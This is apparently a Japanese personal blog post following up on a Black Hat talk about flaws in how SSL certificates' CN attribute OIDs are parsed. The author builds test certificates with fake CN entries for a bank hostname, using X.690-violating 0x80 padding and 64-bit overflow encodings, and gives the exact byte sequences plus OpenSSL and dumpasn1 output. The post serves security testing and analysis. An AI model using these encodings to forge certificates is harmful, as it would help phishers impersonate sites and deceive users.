自堕落な技術者の日記 : Black Hat:SSLサーバー証明書中のCNのOID処理不具合を突いた攻撃(続き1)

前回は、BlackHatで紹介されたSSLサーバー証明書の対象ホスト名を格納するCN(common name)属性の処理の不具合を突いた脆弱性について紹介しました。

今日は、実際にテストサーバーを立ち上げてブラウザで接続するとどうなるのか試してみます。

Challenge PKI Test Suite(改)の機能追加

手持ちの状態のTest Suiteでは、証明書識別名のオブジェクト識別子について
(1) オブジェクト識別子のサブ識別子で大きな整数を指定すると桁が溢れる(機知のバグ)
(2) X.690に違反して0x80でパディングしてエンコードすることができない。
といった状態でした。
RDNの属性タイプを表す方法として以下のサポートを追加して、テストコードを追加しました。
(1) CN, OU, O, C, serialNumberなど属性タイプを名前で指定できる。(現行)
(2) 1.2.3.4 のように十進カンマ区切りでOIDを指定できる。(現行、桁溢れのバグ)
(3) #550403 のように16進数で属性タイプを指定できる。(機能追加)

証明書の生成

SSLサーバーのホスト名に以下の2つを仮定して発行します。

CN=www.evil3.jp: 悪意のある攻撃者が本当に所持しているドメインのホスト
CN'=www.good-bank.com: 詐欺対象のホスト

本来ならばCN(2.5.4.3=0x550403)であるようなOIDを、騙すためのニセのCN(CN')の作り方としては以下の2つで行います。

(1) 末尾"3"をX.690に違反して0x80(複数可)でパディングする(0x05048003)
(2) 末尾"3"を64bit整数で桁あふれした後"3"となる値とする。

方法(2)については、桁溢れする数を"0x010000000000000003"(9バイト)として、これをビット表現にし末尾より7ビットで分割してこれをバイトとし、末尾を除き8ビット目を1とし、"2.5.4."の部分を連結すると、0x82808080808080808003となります。

OpenSSL 0.9.8kではどう見える？

OpenSSLのコマンドではどのように証明書の識別名が表示されるのか確認してみたいと思います。

■コマンド
% openssl x509 -in 証明書 -noout -text
■OID末尾"3"が0x8003の場合(X.690違反のゼロパディング)
Subject: C=JP, O=Evil-CN-OID, CN=www.evil3.jp/2.5.4.3=www.good-bank.com
■OID末尾"3"が0x82808080808080808003(64bit整数桁溢れ)
Subject: C=JP, O=Evil-CN-OID, CN=www.evil3.jp/2.5.4.18446744073709551619=www.good-bank.com

CNモドキはちゃんと区別して表示されているようです。CNは2.5.4.3なんですが、0x80パディングされたものとはきちんと区別しています。(18446744073709551619は0x010000000000000003の10進数表現です。)

dumpasn1での表示

■本物のCN(common name)の表示

SEQUENCE {

  #06 03 55 04 03

  OBJECT IDENTIFIER commonName (2 5 4 3)

  #13 0C 77 77 77 2E 65 76 69 6C 33 2E 6A 70

  PrintableString 'www.evil3.jp'

  }



■ニセのCN①(X.690違反の0x80パディング)

SEQUENCE {

  #06 04 55 04 80 03

  OBJECT IDENTIFIER '2 5 4 3'

  #13 11 77 77 77 2E 67 6F 6F 64 2D 62 61 6E 6B 2E 63 6F 6D

  PrintableString 'www.good-bank.com'

  }



■ニセのCN②(64ビット整数桁溢れ)

SEQUENCE {

  #06 0C 55 04 82 80 80 80 80 80 80 80 80 03

  OBJECT IDENTIFIER '2 5 4 3'

  #13 11 77 77 77 2E 67 6F 6F 64 2D 62 61 6E 6B 2E 63 6F 6D

  PrintableString 'www.good-bank.com'

  }